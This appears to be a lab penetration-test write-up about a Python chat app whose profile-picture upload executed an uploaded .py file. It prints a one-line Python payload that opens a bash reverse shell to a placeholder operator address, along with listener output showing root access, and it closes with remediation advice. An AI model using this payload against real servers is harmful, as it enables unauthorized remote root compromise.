Profile upload executes Python reverse shell as root
Foundations web engagement: Werkzeug chat app accepted a .py profile upload that ran os.system reverse shell; callback returned root and the engagement artifact.
- Case files
- Profile upload executes Python reverse shell as root
Chat UI on 5000 with profile picture upload; uploaded test.py with bash reverse shell; nc caught root.
Crafted test.py, uploaded via profile feature, caught root shell on 1234.
Engagement summary
Chat UI on 5000 with profile picture upload; uploaded test.py with bash reverse shell; nc caught root.
SPEED CHATTING exposed a Werkzeug/Python 3.10 chat application on port 5000 with message APIs and a profile-picture upload. The upload path accepted a .py file that the server executed. A one-liner os.system bash reverse shell connected to the operator listener as root, after which the engagement artifact was readable on disk.
Business impact
Executable uploads are remote code execution. Never execute user uploads; store outside the webroot; allowlist image MIME/magic only; run the app as a non-root user in a sandbox.
Python upload to reverse shell
Crafted test.py, uploaded via profile feature, caught root shell on 1234.
PAYLOAD
test.py
import os
os.system("bash -c 'bash -i >& /dev/tcp/OPERATOR_IP/1234 0>&1'")OPERATOR · UPLOAD
savvy@lab:~$ curl -sI http://10.10.10.50:5000/ | grep -i server
Server: Werkzeug/3.1.5 Python/3.10.12
savvy@lab:~$ nc -lnvp 1234
# upload test.py via profile picture form
savvy@lab:~#
root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)
Remediation
Disable script execution on upload dirs; validate content-type and magic bytes; drop privileges; WAF/alert on unexpected .py/.php uploads.